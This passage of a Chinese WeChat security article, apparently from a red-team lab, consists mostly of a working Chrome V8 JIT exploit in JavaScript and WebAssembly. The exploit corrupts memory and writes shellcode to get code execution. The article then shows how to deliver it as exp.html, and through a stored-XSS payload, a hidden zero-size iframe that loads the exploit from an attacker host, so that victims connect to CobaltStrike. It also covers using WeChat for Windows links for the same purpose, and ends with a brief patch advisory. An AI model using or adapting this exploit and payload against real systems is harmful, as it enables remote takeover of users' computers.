class="code-snippet__number">1</span>, <span class="code-snippet__number">133</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">96</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">127</span>, <span class="code-snippet__number">3</span>, <span class="code-snippet__number">130</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">132</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">112</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">5</span>, <span class="code-snippet__number">131</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">6</span>, <span class="code-snippet__number">129</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">7</span>, <span class="code-snippet__number">145</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">6</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">101</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">111</span>, <span class="code-snippet__number">114</span>, <span class="code-snippet__number">121</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">97</span>, <span class="code-snippet__number">105</span>, <span class="code-snippet__number">110</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">10</span>, <span class="code-snippet__number">138</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">132</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">65</span>, <span class="code-snippet__number">42</span>, <span class="code-snippet__number">11</span>]);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> wasmModule = <span class="code-snippet__keyword">new</span> WebAssembly.Module(wasmCode);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> wasmInstance = <span class="code-snippet__keyword">new</span> WebAssembly.Instance(wasmModule);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> main = wasmInstance.exports.main;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> bf = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">ArrayBuffer</span>(<span class="code-snippet__number">8</span>);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> bfView = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">DataView</span>(bf);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">fLow</span>(<span class="code-snippet__params">f</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setFloat64(<span class="code-snippet__number">0</span>, f, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> (bfView.getUint32(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>));</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">fHi</span>(<span class="code-snippet__params">f</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setFloat64(<span class="code-snippet__number">0</span>, f, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> (bfView.getUint32(<span class="code-snippet__number">4</span>, <span class="code-snippet__literal">true</span>))</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">i2f</span>(<span class="code-snippet__params">low, hi</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setUint32(<span class="code-snippet__number">0</span>, low, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       bfView.setUint32(<span class="code-snippet__number">4</span>, hi, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> bfView.getFloat64(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">f2big</span>(<span class="code-snippet__params">f</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setFloat64(<span class="code-snippet__number">0</span>, f, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> bfView.getBigUint64(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">big2f</span>(<span class="code-snippet__params">b</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setBigUint64(<span class="code-snippet__number">0</span>, b, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> bfView.getFloat64(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LeakArrayBuffer</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">ArrayBuffer</span> </span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">constructor</span>(size) {</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">super</span>(size);</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">this</span>.slot = <span class="code-snippet__number">0xb33f</span>;</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">foo</span>(<span class="code-snippet__params">a</span>) </span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> x = <span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">if</span> (a) x = <span class="code-snippet__number">0xFFFFFFFF</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">var</span> arr = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Array</span>(<span class="code-snippet__built_in">Math</span>.sign(<span class="code-snippet__number">0</span> - <span class="code-snippet__built_in">Math</span>.max(<span class="code-snippet__number">0</span>, x, <span class="code-snippet__number">-1</span>)));</span></code><code><span class="code-snippet_outer">       arr.shift();</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> local_arr = <span class="code-snippet__built_in">Array</span>(<span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer">       local_arr[<span class="code-snippet__number">0</span>] = <span class="code-snippet__number">5.1</span>;<span class="code-snippet__comment">//4014666666666666</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> buff = <span class="code-snippet__keyword">new</span> LeakArrayBuffer(<span class="code-snippet__number">0x1000</span>);<span class="code-snippet__comment">//byteLength idx=8</span></span></code><code><span class="code-snippet_outer">       arr[<span class="code-snippet__number">0</span>] = <span class="code-snippet__number">0x1122</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> [arr, local_arr, buff];</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">var</span> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">0x10000</span>; ++i)</span></code><code><span class="code-snippet_outer">       foo(<span class="code-snippet__literal">false</span>);</span></code><code><span class="code-snippet_outer">   gc(); gc();</span></code><code><span class="code-snippet_outer">  [corrput_arr, rwarr, corrupt_buff] = foo(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">   corrput_arr[<span class="code-snippet__number">12</span>] = <span class="code-snippet__number">0x22444</span>;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">delete</span> corrput_arr;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">setbackingStore</span>(<span class="code-snippet__params">hi, low</span>) </span>{</span></code><code><span class="code-snippet_outer">       rwarr[<span class="code-snippet__number">4</span>] = i2f(fLow(rwarr[<span class="code-snippet__number">4</span>]), hi);</span></code><code><span class="code-snippet_outer">       rwarr[<span class="code-snippet__number">5</span>] = i2f(low, fHi(rwarr[<span class="code-snippet__number">5</span>]));</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">leakObjLow</span>(<span class="code-snippet__params">o</span>) </span>{</span></code><code><span class="code-snippet_outer">       corrupt_buff.slot = o;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> (fLow(rwarr[<span class="code-snippet__number">9</span>]) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> corrupt_view = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">DataView</span>(corrupt_buff);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> idx0Addr = corrupt_buffer_ptr_low - <span class="code-snippet__number">0x10</span>;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> baseAddr = (corrupt_buffer_ptr_low &amp; <span class="code-snippet__number">0xffff0000</span>) - ((corrupt_buffer_ptr_low &amp; <span class="code-snippet__number">0xffff0000</span>) % <span class="code-snippet__number">0x40000</span>) + <span class="code-snippet__number">0x40000</span>;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> delta = baseAddr + <span class="code-snippet__number">0x1c</span> - idx0Addr;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">if</span> ((delta % <span class="code-snippet__number">8</span>) == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> baseIdx = delta / <span class="code-snippet__number">8</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">this</span>.base = fLow(rwarr[baseIdx]);</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> baseIdx = ((delta - (delta % <span class="code-snippet__number">8</span>)) / <span class="code-snippet__number">8</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">this</span>.base = fHi(rwarr[baseIdx]);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> wasmInsAddr = leakObjLow(wasmInstance);</span></code><code><span class="code-snippet_outer">   setbackingStore(wasmInsAddr, <span class="code-snippet__keyword">this</span>.base);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> code_entry = corrupt_view.getFloat64(<span class="code-snippet__number">13</span> * <span class="code-snippet__number">8</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">   setbackingStore(fLow(code_entry), fHi(code_entry));</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">let</span> i = <span class="code-snippet__number">0</span>; i &lt; shellcode.length; i++) {</span></code><code><span class="code-snippet_outer">       corrupt_view.setUint8(i, shellcode[i]);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   main();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">script</span>&gt;</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.66796875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7e720352&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRAkPpI151WWw1sKgejdic6thelZtpkia4yCMg2CPEicx54aZowzmK6IZHQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">随后保存为 exp.html ，让目标打开：</span></p><p style="text-align: left;"><img class="rich_pages js_insertlocalimg" data-ratio="0.446875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8fe922b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRniaE2GicibOBDrbOUUPpibdNBC2lMDekibxHRaunpWFvlvzMI3k0GYtLChA%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;">这个时候目标成功上线到 CobaltStrike：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6d7f586d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaR15clwVaSU7FHiaqwtK8A9mUQib3MgynRIic1QBHmoCDSZrPeMqkhAkFzQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">XSS+Chrome Rce = 上线到CobaltStrike</span></strong></p></section></section></section><p><br style="white-space: normal;"/></p><p><span style="font-size: 14px;">    假设有一个网站存在存储XSS漏洞，可以插入这段 Payload 并加载一个远程 html 页面，若目标机器关闭了沙盒并且使用的是 Chrome 浏览器，就可导致访问此页面的人上线到 CobaltStrike。</span></p><p><span style="font-size: 14px;">    同时，在内网场景也可使用<strong>ARP</strong>来进行大规模PC权限的获取。<br/></span></p><p><span style="font-size: 14px;">    具体使用到的标签是：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">iframe</span> <span class="code-snippet__attr">src</span>=<span class="code-snippet__string">&#34;<a href="http://192.168.84.248/exp.html" target="_blank">http://192.168.84.248/exp.html</a>&#34;</span> <span class="code-snippet__attr">width</span>=<span class="code-snippet__string">&#34;0&#34;</span> <span class="code-snippet__attr">height</span>=<span class="code-snippet__string">&#34;0&#34;</span>&gt;</span></span></code></pre></section><p><span style="font-size: 14px;">我把</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">宽度和高度都设置为 0 ，这样目标就无法看到 exp.html 页面了！</span></p><p><span style="font-size: 14px;">演示代码：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.37992831541218636" data-s="300,640" style="" data-type="png" data-w="1674" src="https://wechat2rss.xlab.app/img-proxy/?k=835cf8f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRYwyehcfJEBmIBEr2CfhRcJ2x0f0T6I97Xib7ng1RFiceUZtoXySWMIcQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">其中 <a href="http://192.168.84.248/exp.html" target="_blank">http://192.168.84.248/exp.html</a> 是攻击者构造好的恶意页面，当我们访问到了被插入 XSS Payload 的页面，就会自动加载 exp.html 成功上线到 CobaltStrike：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4716981132075472" data-s="300,640" style="" data-type="png" data-w="1166" src="https://wechat2rss.xlab.app/img-proxy/?k=83d22f81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRBfxAtH3nibLDBnq8iaaSZQlWGxduryBEyTfb14oia1icMa6pMRxdnXjDHw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.625" data-s="300,640" style="" data-type="png" data-w="3360" src="https://wechat2rss.xlab.app/img-proxy/?k=53462708&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRfUQUFicxuiaCQuB794ARF6husT3EOfnZfmxg2km1OmjxZ4owzicic4kiabg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><span style="font-size: 14px;">思路大家可自由延伸。</span></p><p><span style="font-size: 14px;"><br/></span></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">Windows版微信加载JS运行Shellcode</span></strong></p></section></section></section><p><br style="white-space: normal;"/></p><p><span style="font-size: 14px;">通过微信点击URL链接，过程中会调用微信内置浏览器(chrome内核，并开启了--no-sandbox参数)。针对chrome漏洞利用的js代码成功执行后，shellcode将启动远控进程，最终获取该PC当前用户权限。</span><br/></p><p style="text-align: center;"><br/></p><section style="margin: 10px;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;box-shadow: rgb(242, 242, 242) 0px 0px 10px;overflow-wrap: break-word !important;"><section style="padding: 1em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section data-autoskip="1" style="margin-top: 15px;max-width: 100%;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(107, 104, 112);box-sizing: border-box !important;overflow-wrap: break-word !important;"><h3 style="margin-top: 30px;margin-bottom: 10px;font-weight: bold;font-size: 20px;max-width: 100%;border-width: 0px;border-style: initial;border-color: initial;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;">Chrome安全问题可能导致Windows版微信任意代码执行漏洞</h3><p style="max-width: 100%;min-height: 1em;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, arial, helvetica, sans-serif;line-height: 1.75em;margin-top: 10px !important;margin-bottom: 10px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;">组件: Windows版微信</p><p style="max-width: 100%;min-height: 1em;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, arial, helvetica, sans-serif;line-height: 1.75em;margin-top: 10px !important;margin-bottom: 10px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞类型: 远程代码执行</p><p style="max-width: 100%;min-height: 1em;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, arial, helvetica, sans-serif;line-height: 1.75em;margin-top: 10px !important;margin-bottom: 10px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;">影响: PC接管</p><p style="max-width: 100%;min-height: 1em;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, arial, helvetica, sans-serif;line-height: 1.75em;margin-top: 10px !important;margin-bottom: 10px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;">简述: 攻击者可以通过微信发送一个特制的web链接，用户一旦点击链接，Windows版微信便会加载执行攻击者构造恶意代码，最终使攻击者控制用户PC。</p><p style="max-width: 100%;min-height: 1em;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, arial, helvetica, sans-serif;line-height: 1.75em;margin-top: 10px !important;margin-bottom: 10px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <code style="padding: 3px 5px;max-width: 100%;overflow: auto;color: rgb(255, 53, 2);line-height: 1.5;background: rgb(248, 245, 236);border-radius: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Tencnet:Windows版微信</code>: 小于等于3.2.1.141版本<span style="background-color: rgb(236, 237, 255);color: rgb(109, 103, 255);font-size: 16px;font-weight: bold;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;">修复建议</span><span style="background-color: rgb(236, 237, 255);color: rgb(109, 103, 255);font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-weight: bold;text-align: center;"></span></p></section></section></section></section><section style="margin: 10px;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;box-shadow: rgb(242, 242, 242) 0px 0px 10px;overflow-wrap: break-word !important;"><section style="padding: 1em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section data-autoskip="1" style="margin-top: 15px;max-width: 100%;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(107, 104, 112);box-sizing: border-box !important;overflow-wrap: break-word !important;"><h3 style="margin-top: 30px;margin-bottom: 10px;font-weight: bold;font-size: 20px;max-width: 100%;border-width: 0px;border-style: initial;border-color: initial;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;">通用修补建议</h3><p style="max-width: 100%;min-height: 1em;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, arial, helvetica, sans-serif;line-height: 1.75em;margin-top: 10px !important;margin-bottom: 10px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;">目前微信已经修复漏洞并发布了更新版本，建议用户立即将Windows版微信更新到<code style="padding: 3px 5px;max-width: 100%;overflow: auto;color: rgb(255, 53, 2);line-height: 1.5;background: rgb(248, 245, 236);border-radius: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.2.1.141</code><code style="padding: 3px 5px;max-width: 100%;overflow: auto;color: rgb(255, 53, 2);line-height: 1.5;background: rgb(248, 245, 236);border-radius: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">以上的最新版本</code>。</p></section></section></section></section><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">InBug-实验室</span></strong></p></section></section></section><p><br style="white-space: normal;"/></p><p><span style="font-size: 14px;">官网：<a href="https://www.inbug.org/" target="_blank">https://www.inbug.org/</a></span></p><p><span style="font-size: 14px;">InScan内网扫描器：<a href="https://github.com/inbug-team/InScan" target="_blank">https://github.com/inbug-team/InScan</a></span></p><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cH8sQ9I29jImmqjtDY6xIcSPKPJrhmbMSgCXfwMagX7QSISQlATIsrbm8LrPe1QU0ITJetpldhP2WQ/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。"></mpprofile></section>



<p><a href="https://www.inbug.org/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d8cab889&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483747%26idx%3D1%26sn%3D98f0a96c8412a8d94d0b69b7461d1ed8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 17 Apr 2021 12:32:00 +0800</pubDate>
    </item>
    <item>
      <title>InScan 内网自动化横向渗透工具使用教程</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483720&amp;idx=1&amp;sn=92715eecb0c6a7c6133f832e0328ece2</link>
      <description>InScan 内网自动化横向渗透工具使用教程</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-04-16 09:25</span> <span style="display: inline-block;"></span>
</p>

<p>InScan 内网自动化横向渗透工具使用教程</p>
<p></p>



<p>
